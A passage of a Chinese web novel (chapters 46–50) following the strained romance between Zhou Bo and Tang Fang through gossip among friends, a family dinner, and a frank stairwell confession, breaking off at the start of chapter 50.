前两天晚上,她回家回得晚,碰上喝醉酒的流氓,那流氓不知道是哪儿来的,一路尾随王敏,直接在筒子楼下给人扑倒了。 吓得王敏一个劲儿喊救命,可那时候晚上,黑灯瞎火的,睡得早的都睡了,他们是回来得晚,根本不知道有这事儿。 还是陈牧德,在走廊上看见了。 立马冲下楼,一拳给人打翻在地,救了王敏。 王伟杰当时知道后差点儿疯了,跑到警察局,得知王敏没事儿后才好点儿,随后就是一阵后怕。 也因着这事儿,王伟杰对陈牧德态度变得十分微妙。 “哪有的事儿,”陈牧德说,“放哥,你觉得我们关系变好了,那肯定是错觉!你可不知道,王伟杰这人,整天对着我,眼睛不是眼睛,鼻子不是鼻子的。” “真没有他妹妹半点儿可爱!”陈牧德小声嘀咕着告状。 王伟杰在一旁听得直皱眉,放以前肯定是二话不说,先给这人来上一拳。 唐放看出来了,他想了想,拍拍陈牧德肩膀,“你少说点。” 陈牧德一愣,没明白唐放啥意思,他赶紧跟上去,“唉!放哥,你啥意思啊?” 唐放其他兄弟对唐放回来很是惊讶,围着唐放和他提溜进来的苞米粑转了一圈,发出感叹。 “艹!看来是真去掰苞米了!” “可以啊!这都还知道给咱带特产!这是哪家姑娘做的?” “肯定是去了,人都黑了!” 唐放是黑了,脸黑了,把围着他的众人全给推开,“滚滚滚!要吃就吃,围着我干什么?” “嘿嘿嘿……这不是好奇嘛!” “对啊!放哥,你这都上赶着跑到人家里掰苞米了,怎么?啥时候结婚啊!” “到底是哪家的姑娘啊?有人知道不?”这是看戏的哥们小声问他身边的人。 “不知道啊!”他身边的人也挺感兴趣,“到时候就知道了!” 不得不说,唐放回来的时机赶得好,正巧碰上项目完工,众人都准备着休息两天,然后一起吃个饭呢! 他们不问还好,一问,唐放又想起了在火车上的事。 周勃对他的态度表明着一切,唐放脸冷下来些,朝离他最近的人要了根烟。 在指缝中燃烧的香烟点燃的像是他的心脏,唐放抽的不是烟,抽的是这两天自己烦躁的内心。 “没什么,人不满意我。” 这句话如同颗重雷炸在众人中心。 “艹!还真有啊!” “为什么啊!怎么会啊!放哥,她竟然不满意你??” “我又不是人民币,怎么,是个人都得喜欢我?”唐放反问,一双丹凤眼看过去。 说话这人顿时哑声,放哥这说话,语气怎么有点儿不对啊?没生气吧? “不是啊,这妹子眼睛瞎了吧!”之前那个哥们一脸震惊。 “唉!你们围在这儿干嘛啊?” 清脆的声音带着好奇从众人后方传来。 众人纷纷转身,看见是王敏,又是一阵哑火,你看看我,我看看你,没一人说话。 反倒是王敏,一眼从众人中看到了唐放的身影,顿时眼睛一亮,“放哥,你回来了!” 清脆的声音甜丝丝的,带着喜意,她本就生得好看,这时候看着唐放的眼神,甜的要沁出糖来。 “嘶!” 有人倒吸一口冷气,别过脸去不愿再看这一幕。 在场的人,谁不知道王伟杰的妹妹王敏喜欢唐放啊? 现在好了,放哥明摆着有喜欢的人了,王敏妹子怕是一点戏都没了。 有人看向王敏的目光中透露出同情。 王伟杰想把自家妹子叫过去,话还没开口,王敏像只小鸟似的,穿着的裙子划出欣喜的弧度,“放哥,你回来怎么不说一声啊,今天晚上好多买些菜。” 唐放没了说话的意愿,他露出桌上的苞米粑袋子,淡淡道:“这是带回来的,你要是喜欢吃的话,就拿两个去吃吧。” 王敏很是捧场,招呼着众人,“放哥带得有东西回来,你们赶紧吃啊!” 众人:“……” 真就是越看越觉着这姑娘可怜,怎么办? 唐放可不管众人心里啥心思,摁灭烟,丢下句累了,就去房间休息了。 众人对视一眼,手不由自主伸向桌上的袋子。 “害!你还真别说,这苞米粑还挺好吃的!” “和我妈做的味道差不多。” “放哥怕不是喜欢的这姑娘年纪比他大,听说大点儿的姑娘成熟,会疼人!” “那就不知道了,不过能拒绝放哥,是真的牛!” 众人一边说着,一边七嘴八舌的小声议论。 王敏听得真切,一时间没听出来这是什么意思,还是王伟杰把她拉到了一边。 “哥,他们说的这是什么意思啊?”王敏有些茫然。 王伟杰看着妹妹的脸,也有些心疼,不过他知道自家妹妹和唐放没可能,他狠下心,“你还没听明白吗?” “” “唐放有喜欢的人了!”王伟杰说。 “……怎么可能。”王敏表情凝固,似乎有些不相信王伟杰的话。 王伟杰很了解自己这个妹妹,他清楚,如果不给她说清楚,她怕是还会自欺欺人。 “有什么不可能的?碰到喜欢的,那就喜欢上了啊!”王伟杰说,他叹口气:“小敏,唐放要真的喜欢你,他老早就喜欢你了,你和我们在一起那么久了,他对你什么态度,你还不知道吗?” “唐放他就是不喜欢你,之所以没明确拒绝你,只是因为你一直缩着!怕说得太明白弄得大家都尴尬!” 王敏还是不信,或者说,她其实早就有点感觉,只是不想相信而已,也就因为唐放身边没人,所以她才会默默的不做声,想着自己早晚会有机会。 这就是一个暗恋的女孩的小心思而已。 “你们说放哥有喜欢的人,我不信!他要是有喜欢的人,为什么不介绍给我们认识!”王敏咬唇,眼里泪花闪烁。 王伟杰:“……”这要怎么告诉她,唐放被甩了? 不行,要真这么说了,怕她不死心! 王伟杰把锅甩出去,“这我就不知道了,说不定唐放他自己有想法呢?人目前还在追求阶段,你觉得以唐放的脸,他能追不上?” “……” 王敏的心拔凉拔凉的,所以意思是,一旦放哥追到人了,她就真的一点机会都没有了吗? 第47章 第 47 章 王伟杰刚和王敏说完话, 转角就碰到了陈牧德,这孙子不知道在墙角听了多少。 陈牧德幽幽的看着他,“没想到你还挺会忽悠,放哥明明就是给人甩了。” 说完, 陈牧德又说:“真心疼小敏, 有你这么个爱说谎的哥哥。” 王伟杰:“……”拳头硬了。 “你有完没完, 合着你就天天偷听人说话是吧!” 陈牧德:“什么偷听, 我这是正大光明的听!” 这人是会呛人的, 王伟杰给他气得一口气差点儿上不来,拳头捏的死死的,生怕自己冲动。 陈牧德倒是, 眼尖儿的瞅到了王伟杰捏紧的拳头, “靠!你你你!你捏拳头干嘛!” 他步步后退,眼睛开始扫着周围的逃生道路:“我、我可告诉你啊!你可别忘了, 当初是谁救得你妹妹,你可是你妹妹的救命恩人!你敢打我一个试试!” 王伟杰脸部抽搐:“……”md, 要不是他救了小敏, 他非得哪天找人给他套个麻袋! …… 等到周山妹熟悉了家里的环境, 周勃又开始带着她去外边儿看看。 周勃指着不远处一栋小楼,“那儿是我公司, 离这里很近, 你要是平时有什么事, 就给我打电话,家里有座机, 我到时候把我公司的电话号码给你。” “然后那边是商场, 很多人买东西都是去那儿买,衣服鞋子之类的, ”周勃边走边和周山妹说,“那边是菜市场,我带你去逛逛。” 知道小姑来,菜市场是肯定要去的,周勃领着她往菜市场走。 这时候里边儿卖菜的少,不是饭点儿,一些卖猪肉的也老早的收摊了,周勃简单带着周山妹逛了逛。 期间买了点儿水果,反正家里有冰箱有人,不怕没人吃,也不怕坏。 海城的物价比起小县城可要贵上不少,周山妹越看越心疼,这还不如在家里直接种些呢! “这些菜,咋那么贵啊!要知道把咱家里的菜拿些过来了!” 周勃笑着说:“你想拿也拿不了,火车上都那么满了,菜叶子就算带过来,夏天也放不了多久。” “不行,”周山妹可不管,她摇摇头满脸严肃,“到时候给买几个坛子,在家里种点儿!” “……行。” 带着人从菜市场出来,周勃又给小姑买了两件衣服,他原本是想多买两件的,奈何小姑一看上面的价格,拉着周勃就要往回走。 “一件衬衫,竟然卖那么贵!他们怎么不去抢啊!”周山妹又开始心疼。 “海城的衣服都这个价儿!”周勃无奈的说,硬拉着人进去给买了两件衣服。 这就是全部的衣服了,之后说什么,周山妹也不肯进人店里了。 周勃很无奈,只能带着人往回走。 路上,周山妹看着大城市的街道,满眼新奇,一会儿问问这个,一会儿问问那个。 周勃耐心的回答她,这个是夜店,那个是舞厅,外面坐着的人是接待,上面的牌子写着价钱。 走过一个又一个街道,周山妹忽然拉住周勃的手臂,“唉!你看看,那个不是陈老|二家儿子吗?是不是他?” 周勃看过去,他虽然不知道陈老|二是谁,但小姑指着的这个人他认识。 那是陈牧德。 再看看环境,眼熟的筒子楼。 怪不得。 周勃还没说话,那边筒子楼下的陈牧德已经看到了他们,满脸笑容的朝这边挥手,然后小跑过来。 “周勃哥!你们怎么在这儿,周姨,你也过来了!”陈牧德看着周山妹吃惊道。 周山妹笑着:“这不是周勃一个人在这边儿吗,不放心,这就过来了。” 陈牧德点点头,表示理解:“也是,周姨你一个人在老家,周勃也一个人在海城,过来还好些,都有个照应。” 周山妹连忙说是,随后又问道:“你怎么在这儿?” 陈牧德觉得这没什么好隐瞒的,他挠挠头笑笑:“我不是跟着放哥过来了嘛,我们现在就住在这儿,周勃哥也知道的。” “唐放也住在这儿?”周山妹一愣。 “对啊!周勃哥没给你说嘛,之前你们家厕所都是我和放哥去给弄的!” 陈牧德说着,看向周勃。 周山妹也看过去。 两双眼睛齐刷刷看过来,周勃嘴角抽抽,不得不解释:“你刚到,我还没机会说。” 这个解释,也算正常,周山妹放过他,转而看向陈牧德,笑眯眯道:“这样儿,今天我们刚过来还要收拾东西,明天你把唐放带过来,我给你们做好吃的!” “这都来了,怎么也要做顿饭开开火!我和你周勃哥两个人吃人太少了!” 周勃听着这话,眉头轻拧,轻轻用手拉了两下周山妹。 小姑这不是闹吗? 明知道他和唐放这两天不对付来着! 陈牧德倒是笑得嘴巴都裂到耳后根了,他这人有时候精明,有时候又傻乎乎的,好像看不到周勃黑着的脸,忙不迭答应:“好啊!我回去立马给放哥说,周姨你手艺肯定好,我们可有口福了!” 周山妹可不管这些,吃饭就是要人多才热闹! 更何况,唐放这么好的孩子,周山妹巴不得他们快点和好,“那行,你回去记得给唐放说声,我明天指定给你们做一大桌子菜!” 陈牧德闻言咽咽口水,笑得更欢乐了。 带着小姑回了家,周勃下午点儿去了趟公司。 他不在这些时候,基础的事物都交给董军处理了,很多他不能做决断的,会等他回来再处理。 周勃翻了下文件,不多。 其中就有和唐放他们签的文件,想到唐放之前说要注册公司,周勃又单独把文件抽出来。 想起唐放说起注册公司时候的表情,周勃没来由又有点儿烦躁。 他抓了把头发,喝口水,迫使自己不再去想他。 这时候要在后世就好了,不知道的事儿,不了解的情况,直接上网一搜,全出来了。 总比自己一个人在房间里乱想得好。 正常人会亲自己的好朋友吗? 就在周勃胡思乱想时,敲了三声儿门的董军打开房门走进来。 拉门的声音吸引周勃注意,他皱着眉,抬眼问董军。 “董军,我问你个事儿,”周勃说,顿了顿:“这是我朋友问我的。” 董军点点头,只以为老板是想问和工作相关的事,很平静的说问吧。 周勃说:“就是,我朋友有个朋友,是男的,然后这男的,有一天突然发疯,把他给强吻了,这事儿正常吗?” “……冒昧问一句,您朋友是男的女的?” “男的。” 董军表情微妙,“如果都是俩男的,肯定不正常啊!” 周勃眉头皱紧:“你不会和你兄弟亲……” 话说到一半,周勃看着董军那仿佛吃了屎的表情,乍然反应过来自己是问了什么狗屁问题,哪个男人会和自己兄弟亲嘴儿? 女的那么亲密都很少,更别说男的了。 思绪在大脑中转了一圈,周勃斟酌了一下,“就是说,要是你朋友对你做了这事儿,你会怎么办?而且对方不是同|性|恋,不喜欢男人。” 董军:“……这真的不是故意恶心人吗?” 周勃:“……” 知道从他这儿问不出答案,周勃挥挥手,示意他可以走了。 董军识趣儿的走出房间,走到一半,这才想起来自己进来好像是有事的! 他又倒回去,“老板,就是之前签订的合同,我们这边得监工,和他们对接,您看我们这边谁去?” 周勃说要想想,开工前给他说后董军麻溜儿的走了。 …… 唐放正在床上躺尸,一双眼睛盯着天花板,不知道在想什么,陈牧德兴冲冲的跑进来。 “放哥!你知道我在咱们楼下看到谁了吗?” 唐放没说话,或者说他完全忽视了叽叽喳喳叫嚣的陈牧德。 陈牧德早习惯了,“我看见了周勃和他姑姑周姨!没想到周姨也来海城了,看起来像是刚来的!” 听见周勃两个字,唐放终于有了那么点儿反应,瞥了陈牧德一眼,“他说什么了?” 陈牧德没明白这个他指的是谁,他还是说着楼下的事儿。 “就是周姨!她还让我们明天去她家吃饭呢!让我一定要带上你!”陈牧德说着咽了咽口水,“我总觉着这边儿的东西没家里的好吃,周姨来了,估计明天有好多好吃的,他肯定做了一大桌子菜!” 唐放没听他说的这一大堆话,面色平静的问:“周勃,他说什么了吗?” “啊?”陈牧德没反应过来,“奥奥,你说周勃哥啊!他没说什么啊,周姨请我们去吃饭,他怎么会说什么?” 没听到周勃说什么,唐放收回视线,再度看着天花板发呆,好似要把天花板盯出个窟窿来,一双丹凤眼异常幽深。 陈牧德可不管这些,他全被周山妹明天那桌菜给控住了,凑到唐放身边说,“咋样儿!放哥!咱们明天去吃吧!周姨好容易来海城,我们得去给她家捧捧场啊!” 唐放翻个身,直接背对陈牧德,闷声道:“滚!” 陈牧德纳闷的挠挠头,没弄明白放哥到底是怎么了,怎么都不去吃饭了呢?不是和周勃哥关系挺好的吗? 不过陈牧德深知,不能在人心情不好的时候去和他说话。 特别是放哥。 “行吧,那你晚上记得告诉我声儿,你到底去不去。”陈牧德推开房门说。 唐放会去吗? 他会去个屁,没见人周勃不想见他吗?他过去干什么?贴人冷脸? 唐放闭上眼睛。 可一闭上,周勃的脸就像是电视机画面似的在他眼皮上扒着。 没办法,唐放平躺,睁开眼看着天花板。 过了会儿,他觉着自己大概是真完了。 周勃已经开始出现在天花板上了。 第48章 第 48 章 第二天, 周山妹早早的起来开始买菜备菜。 周勃嘴上说着唐放不来最好,但心底里却还是想着,等着唐放来了之后,好好谈谈。 大家都是成年人, 又不是小孩, 很多事情, 要真纠结也没意思。 周勃上班, 迟到早退。 回到家帮忙, 周山妹嫌他添乱,直接把人赶出了厨房,“去去去, 你自己去休息去!” “等会儿唐放来了, 别摆着你那张臭脸!谁看到冷脸会高兴啊!” 周勃觉着这唐放莫不是他小姑的亲生儿子,瞧瞧, 有这么帮外人的吗? 周山妹可不管,趁着周勃上班期间, 他自己买菜的时候四处逛了逛。 别说, 这大城市和乡村还是有区别的, 回来路上还认识了这栋楼里住他们家楼下的邻居,一个和她年纪差不多大的大姐, 竟然已经有了孙子了! 才送孙子上完幼儿园回来, 她家儿子和儿媳全上班去了, 家里是她带孙子。 平常没个说话人,这时候得知周山妹是住楼上的邻居, 别提有多高兴了, 拉着周山妹的手就开始喋喋不休。 周山妹刚来海城,什么都不熟悉, 听得可认真了。 “叩叩叩!” 周勃去开门,门外边儿站着个大婶,烫了时下最流行的卷发,身材有点微微发福,脸上全是笑。 大婶见着周勃,笑眯眯说:“你就是周勃吧!我听山妹提起过,你这小伙子了不得啊,年纪轻轻当了老板,来拿着,这是我家多了的水果,我特地拿过来的!” 周勃怎么可能接,他连连摆手说不用。 赵大婶可不管这么多,提着水果的袋子往地上一放,“我就给你放这儿了,你赶快拿进去吃吧!” “我先走了!” 周勃在后边儿叫了两声,赵大婶好像聋了似的,跑的飞快。 无奈拎着袋子进屋了。 周山妹从厨房探头,“刚才门口的是谁啊?” “不知道,是个阿姨,给我塞了水果就走了。”周勃说。 周山妹手在围裙上擦擦,笑眯眯出来,看见桌上的橘子,猜到是谁了,“这是住我们楼下的赵姐!” “我今天和她碰见,聊天来着,别看人才40岁,孙子都上幼儿园了!她说话好听,人也挺好,听说我是刚来,非说要给我家送水果。” 周山妹扒开个橘子,边笑边塞一个进嘴,“我都还以为她给忘了,没想到——” 周勃看着周山妹表情一变,原本舒展的脸顿时皱成皱巴巴的一团,伸出拿橘子的手缓缓收回来。 “呸呸呸!”周山妹把嘴里的橘子吐出来,“这是哪儿买的橘子啊!这也太酸了吧!怕不是被坑了。” 周勃觉着这橘子,他是不可能再吃一瓣了。 下午四点多,周山妹做好了饭菜,等着人上门。 在老家,吃饭都吃得早,更别说去别人家里吃饭,大多是四点多点儿就到了,有的更早,中午就来了,坐着玩儿。 眼看着饭菜做好了,人怎么还没到? 周勃用座机给他们那边儿打去电话。 座机响了好久,就在周勃即将挂断时,电话接通了。 “喂?” 对面是个低沉的男音,很耳熟。 周勃一时语塞。 对面那头听着半天没人说话,低哑的声音透着不耐烦,“没事儿,我挂了。” “……陈牧德他们到了吗”周勃顿了顿,忽略心底的异样,其实他有点儿想问的是,怎么是你接电话,不来吃饭吗? 听到他的声音,这回换对面沉默了。 好半天,久久不语,就在周勃以为对面的人是不是消失了时,他终于说话了。 这时候声音没了不耐烦,原本低哑的声音好像更哑了些。 “他们刚才出门了,应该快到了。” 周勃:“……知道了。” 电话在手里捏了半天,俩人都没说话,最终还是周勃开口了。 “既然没什么事,我就先挂了。” “……等等。” 周勃咽咽口水,面色不显,“怎么了?” “……你就没什么想问的?” “……问什么?” 这句冷静的话仿佛问到人心口了,对面又是沉默,半响才咬牙切齿的说。 “问我为什么不过来。” 周勃说:“你过不过来吃饭,那是你的权利,想过来就过来,不想过来就不过来,没人能勉强你。” 说到最后,不知是不是鬼使神差,周勃淡淡加了句。 “……小姑她很想你来。” “……” 唐放捏紧电话,电流声甚至让周勃的这句话带上点儿杂音,可他还是听得真切。 他甚至能想象到,对面这人在说这句话时的表情,抿着唇,神色淡淡,好似不经意似的。 可就是这样儿的不经意,总能牢牢抓住别人的心神。 那句“那你呢?你想我过来吗?”始终卡在喉咙里,唐放没说,他只平复声音。 “等着。” 电话传来一阵忙音,周勃这人挂电话了。 与此同时,敲门声传来。 来人不是别人。正是等了许久的陈牧德,这人估计也知道空手来不好,提了礼物过来。 周山妹笑眯眯接过陈牧德提着的东西,“怎么还带了东西过来啊!真是的!” 她往陈牧德背后张望一眼,没看到人,“对了,唐放呢?” “他——” “他等会儿来。”周勃在周山妹背后打断陈牧德的话。 陈牧德惊讶,他下意识看向周勃方向,见着他淡淡的表情,心说他怎么不知道放哥要来? 陈牧德没多说什么,等到周山妹去放东西,他凑到周勃身边儿,笑问:“周勃哥,你怎么知道放哥要来啊?” 他今天说了老半天,也没见放哥说要来啊? 周勃面对陈牧德好奇,笑了笑,冲他指指一旁的座机。 “刚才说的?” 周勃点头。 陈牧德挠挠脑袋,没再说话,他就说放哥怎么不来,感情不是他不来,是人等着别人请呢! 餐桌上早就摆好了大桌菜,看得陈牧德直流口水,那美食的香气似有如无的勾|引着人,勾得人看了一眼又一眼。 咽咽口水,陈牧德坐在沙发上,拿起桌上的橘子开始剥皮。 丝丝的橘子香沁入人心。 周勃端起水杯,喝了口水,十分坏心眼儿的没提醒人。 等到陈牧德脸皱得跟橘子皮似的,周勃嘴角微微翘起,眯起眼睛,仿佛喝着的水是什么甜水似的。 陈牧德好半天才缓过来,非常费解世界上怎么会有这么酸的橘子,“周勃哥,你家这橘子是灌了醋吗?” “别人送的,喜欢吃就多吃点。” “……” 周山妹从房间里出来,看到桌上那新剥开的橘子和陈牧德苦巴巴的脸,还能有什么不明白的,终于有人知道她刚才吃那橘子的味道了! 周山妹笑着,正想调侃问问陈牧德吃得啥味儿,忽然一拍脑袋。 “哎呀!” “忘记买啤酒了!” “瞧瞧我这记性!”周山妹赶紧脱下围裙,冲着呆愣的两人道:“先等着,我去楼下买两瓶啤酒上来!” 都没等周勃说话,周山妹急匆匆的跑出门。 只剩下门“哐当”一声,无奈的慢悠悠合上。 “……咱姨,都这么风风火火的?”陈牧德瞪大眼睛。 这才几个人,不喝酒都行。 周勃:“……” 客厅就剩下周勃和陈牧德俩人。 说实话,陈牧德还没怎么和周勃两个人单独在一起过,还有些尴尬,不过很快,陈牧德的尴尬就没了。 他坐到周勃身边儿,带着说八卦的跃跃欲试,“周勃哥,你知道放哥之前去哪儿了吗?” 周勃当然知道,唐放之前不就是被他拉去家里掰苞米去了吗? 怎么,他们不知道? 周勃不动声色,听着陈牧德开始喋喋不休的说八卦。 对于陈牧德来说,周勃可是放哥的熟人,指不定他知道放哥是去给哪家掰的苞米呢! 其实,只要他打开冰箱看两眼,里面的苞米粑清清楚楚的暴露着一切。 “放哥去给人姑娘家帮忙掰苞米去了!结果回来,你猜怎么着,放哥被人姑娘甩了!你说牛不牛!”陈牧德边说边砸吧砸吧嘴,在他看来,那甩了他放哥的姑娘可不就是牛吗? 他放哥多受人欢迎啊! 结果被个名不见经传的小姑娘给甩了! 周勃听着,面色略显古怪,“……唐放说的?他被姑娘甩了?是他帮忙掰苞米那家?” 陈牧德说:“那都差不多了!” 这差的还是有点儿多啊! 周勃嘴角抽抽,“不是,你们是怎么得出这个结论的?” “就是,”陈牧德挠挠脑袋,“就是。” “就是?” 陈牧德继续说:“就是很明显啊!放哥能是那种愿意给人家免费掰苞米的人吗?他以前对姑娘,可没人情味儿了!” “我都还记得,之前让他相亲个姑娘,能硬生生给人姑娘气哭,还有那个让他系鞋带的姑娘,人现在都结婚了,说放哥以后肯定找不到老婆。” 陈牧德没说的是,他其实觉着这姑娘说的有点点对,放哥要一直对女孩儿那态度,再喜欢也会冷却的! 人的感情都是相互的! 就像他觉得王敏和放哥肯定没可能一样。 “放哥就是那种人!喜欢就是喜欢,不喜欢就是不喜欢!”陈牧德有自己的一套理解,“虽然我没看见过放哥喜欢过别的姑娘,但我知道,他要是喜欢一个人,肯定是瞒都瞒不住。” “有句话怎么说来着,爱、爱屋及乌,”陈牧德点点头,煞有其事,“他要是喜欢一个人,指不定比我还那啥!” 周勃:“……” “不是,你们这是怎么看出来的?” 陈牧德奇怪的看他一眼,“这肯定能看出来啊!” “放哥连兄弟们给他过生日都不去了,直接跑去给人姑娘掰苞米,你说好不好笑!” 周勃觉得自己大脑转不过来了。 所以,唐放之前过生日? 爽约了? 然后跟着他回老家帮忙掰苞米? 怎么越听,周勃觉着越和他印象中的唐放不一样呢? 唐放,原来对他好到这种程度吗? 第49章 第 49 章 “谁说掰苞米就得是给人姑娘家帮忙。”周勃默默回了句。 陈牧德觉着, 周勃哥咋那么犟呢! “唉呀!周勃哥!你是不知道,就放哥那德行,你觉着他能翘了兄弟的聚会,跑去给人白白掰苞米?” 不只是陈牧德这样想, 他和其他人也这样想, 觉着放哥可算是找着个喜欢的人了! 不少人都还在看热闹呢! 谁叫放哥之前总是表现出对女人高高在上的样子, 看得一些正追着姑娘的小伙子牙痒痒, 这下终于栽了, 还希望这姑娘能坚持久点,千万别被放哥的甜言蜜语轻松勾搭走了。 周勃不理解陈牧德心里想的啥,他又接了杯水, 咕噜噜灌下, 忍不住发散思绪。 脑海中,先是回放了唐放的脸, 由远到近,又闪过他对着自己焦急的神情, 黑色的苞米地, 滚烫的床铺, 火车上让人嘴唇发麻的亲口勿。 水杯中剩下浅浅的水底,透明倒影着主人修长的脖颈, 以及那上下滑动的喉结。 陈牧德还在滔滔不绝, 丝毫没注意到周勃的走神, “唉——要我有放哥那样儿,周梅不得爱死我啊!” 说到周梅, 陈牧德一顿, 好像他好久没想起过她了,“周勃哥, 你说,周梅现在在干啥呢?” “要是她也来海城就好了,”陈牧德觉着,不然他都害怕人在他不在的时候直接结婚了! 俩人各想各的,丝毫没注意,门晃悠悠的打开。 周山妹招呼着人进门,“快进来快进来,啤酒放地上就行。” 周山妹的声音立刻吸引来两人的注意。 只听“吨!”的一声。 厚重的啤酒沉沉砸在地上,一整箱的啤酒明晃晃在桌子旁立着。 在它身边,一个高大的身影更是显眼。 陈牧德张大嘴巴,怎么周姨下楼买个啤酒的功夫,放哥这就来了? 他们虽说住得近,但再怎么也要十分钟时间吧,这才几分钟啊? 周山妹则是笑容满面,她今天笑容都没下去过,赶忙招呼着唐放和坐着的陈牧德,“唉,别干待着呀,过来坐,过来坐,吃饭了!” 长方形的餐桌,周山妹坐了一边儿,陈牧德和唐放坐在另一边,周勃坐在唐放对面。 不知道是不是陈牧德给他说了那一通,周勃坐在唐放对面,总忍不住把目光放他身上。 一桌子菜,就是周山妹和陈牧德两个说个不停,周勃和唐放完全是气氛组,时不时应两声当摆件。 或许是周山妹做饭做得太好吃了,陈牧德吃得肚皮浑圆。 唐放在餐桌上也目不斜视,除了吃饭就是吃饭。 周勃看了他好几眼,这人都跟没察觉似的,一声不吭吃着饭,要不是小姑时不时cue他两句,周勃还以为这人是哑巴。 吃完饭,三个人坐在沙发上,原本是要帮着一起收拾,被周山妹赶了出来。 陈牧德摸摸肚皮,打了个响亮的饱嗝儿,看着桌上的橘子,他起了点儿贼心。 清爽的橘子皮味儿弥散整个空间。 陈牧德掰下一半,递给唐放,笑得贼兮兮:“放哥,吃橘子,这橘子可甜了!” 说着,陈牧德朝正看着他挑眉的周勃眨眨眼睛,那意思是让他别说话。 周勃怎么会说话,他很自然的从冰箱里拿出昨天买的苹果放在桌上,拿出一个开始啃。 唐放根本没防备,或者说,就一个橘子,能有什么防备? 一瓣橘子被他塞入嘴里。 一秒、两秒、三秒…… 陈牧德眼睁睁看着他,面不改色,然后下咽,随后发出灵魂疑问:“怎么样?” 周勃也看过去。 唐放眼皮都不眨一下,仿佛是个尝不出酸味儿的机器人,面对陈牧德问题,只淡淡回了句:“挺甜的。” 怎么会? 不只是陈牧德,周勃也有些诧异,这橘子难道不是一棵树长出来的? 周勃面上不显,陈牧德明显是忍不住了,半信半疑从自己手里剩下那一半橘子上掰下一瓣放进嘴里。 下一秒。 痛苦面具。 周勃差点儿给陈牧德那表情把嘴里的苹果喷出来。 好不容易给橘子吐出来,陈牧德:“不是,放哥,你咋骗人啊?” “谁叫你傻?”唐放淡淡道。 陈牧德不服了,“不是,你这么酸的橘子都能眼皮都不眨一下就下口,谁都会被你这演技给骗过去的!” 唐放瞥了他一眼,“只有你。” 语气很平和,但莫名有种被鄙视的感觉。 陈牧德更加不服,把目光拐向周勃,“不信,你问问周勃哥,他刚才是不是也怀疑了!” 此话一出。 瞬间。 没人说话了。 周勃嘴角被陈牧德之前那表情逗乐的笑将在嘴角,收也不是,不收也不是。 他扫了眼唐放,这人垂着眼帘,不知道想什么呢? 压力给到周勃。 周勃只能笑笑,没说话。 两个人都没说话。 最怕空气一时安静,这还安静了一分多钟。 等着周勃说话的陈牧德就算再傻,也察觉到了不对。 感觉自己是不是说错了什么,陈牧德咽咽口水,讪讪把橘子放桌上,“那啥,我去厨房看看周姨有没有什么需要帮忙的。” 陈牧德走了,客厅就剩下唐放和周勃两个人。 没了陈牧德这个润滑剂,周勃和唐放之间的气氛顿时僵住了。 反而是周勃这个之前率先生气的人先开口说话。 “哑巴了?” 唐放靠在沙发上,头发蹭到沙发皮,一双丹凤眼垂着,让人看不清他的情绪。 “你不是不想见我吗?” 周勃:“……谁说的?” “周姨想让我来吃饭,你又不想。” 淡淡的声音听得周勃心梗。 周勃嘴角抽抽,“那你怎么来了?” 唐放这时候终于抬眼看周勃了,只看了一眼,又移开视线:“周姨想让我来。” 还真是自成逻辑。 周勃被他这一弄,有气都发不出来,更别说还有之前陈牧德的话,火车上再多的气都软了。 周勃,他对着唐放,也根本不是想发气给人大喊大叫一通,他是来解决问题的,不是来制造问题的。 俩人坐在沙发的一左一右,都没在说话。 唐放这样儿,周勃心中没来由的升起点烦躁,又开始有点气。 md,当初又不是我强迫你回老家的,我又不知道你生日,也不说一句,谁能知道? 后来在火车上,真不是他想计较,要真说起来,也还是他吃亏啊! 现在搁这儿来给谁甩脸子呢? 是我欠你的吗? 周勃想着,脸越来越黑,心头还有点泛酸。 大老爷们,谁愿意受这气? 周勃踢踢唐放的小腿,冷着声:“你跟我出来。” 这层楼就住了两户,另外一家没人,周勃和唐放在门口说话根本没人听见。 更别说隔着这厚厚的门,俩人在楼梯间说话,周山妹和陈牧德更听不见了。 “说吧。”周勃看着靠着墙的唐放。 “你到底是怎么想的?” 唐放这时候终于看周勃了,他的一双眼睛很是锐利,看着周勃仿佛要把人给割开,要看看这人内里到底是什么做的。 唐放移开视线,“什么怎么想的?” “……你还想不想做兄弟?”周勃单刀直入。 话说的很有趣,但直接忽视了俩人在火车上的事儿,从根本上来说其实就是避重就轻。 这话不知是哪儿逗笑了唐放,他轻嗤一声,笑得不咸不淡,“你还想和我做兄弟?” 周勃:“……” 唐放看似很平静,但他还是注意到了,这人的手,捏紧的拳头指缝透着白。 “为什么不想?”周勃听见自己这样反问,他觉着自己说话,灵魂和身体好似分割了一般,有个人在替他说话,“你唐放多好的人,那么多兄弟朋友,没人不想和你做朋友吧?” 唐放盯着周勃,好似要把他盯出个窟窿来,过了半响后,他终于有点语气了,语气微冷。 “做兄弟,当然想,可你呢?” “你不介意有个亲了你的兄弟?不介意——” “那是意外。”周勃打断他。 唐放薄唇抿出一条白线,看着眼前这人移开的视线,他气,但也有点好笑,笑他自己。 怎么那么久都没看清这人的真面目呢? 胆小、怂,只会龟缩在自己的壳儿里,假装听不见别人的声音,就算别人都拿着喇叭在他耳边叫了,该听不到的他还是听不到。 执意要做兄弟! 但唐放不想,这要是做兄弟,谁知道会做到什么时候去? 做到人美滋滋的去相亲,然后再和结婚对象生个大胖小子,笑嘻嘻的让他去参加婚礼和满月酒? 别tm想了! 他今天就还非得给他这层壳给打碎了! 唐放眯着眼睛,盯着周勃的侧脸,上半身微微弓起,脊背划出一个漂亮的弧线,危险而又充满男人的力量感,像个即将发出攻击的豹子。 “我要说不是意外呢?” 周勃眼睛闪烁,没说话。 或者说没思考过这个问题,不想去思考这个问题。 “我tm天天晚上做梦梦到你,”唐放嗤笑一声,“梦到你和我上|床,梦到你红着脸对我说还要,梦到你给我口,梦到我把你艹的死去活来霜得不行,怎么?兄弟能做这梦?” 见周勃不说话,唐放继续输出,“兄弟能天天惦记着你,生日不过跑去给你掰苞米?兄弟能像条狗一样,你tm挥之即来呼之即去?” 他露出个略带嘲讽的话,笑得不见眼底,恨不得给周勃那层平静的皮给扒下来! 唐放上前一步,纹着纹身的手臂青筋凸起,一只手抓住周勃的手腕往他那边伸。 “怎么,你要不要试试,你看看哪个兄弟,能让你一碰就起来?” “就这样,你还想让我做你兄弟?” 第50章 第 50 章 周勃的嘴张了又张, 最终一句话也没说出来。 他的脑袋现在还是乱的,思绪成一团乱麻,眼睛甚至都不敢看唐放,他觉着唐放眼里的光, 太刺眼, 刺得人头晕目眩。 或许是周勃太久没说话。 最终还是唐放退了一步, “你自己好好想想吧。” 说完, 他进了房间。 “啪嗒!”门关上。 “艹, 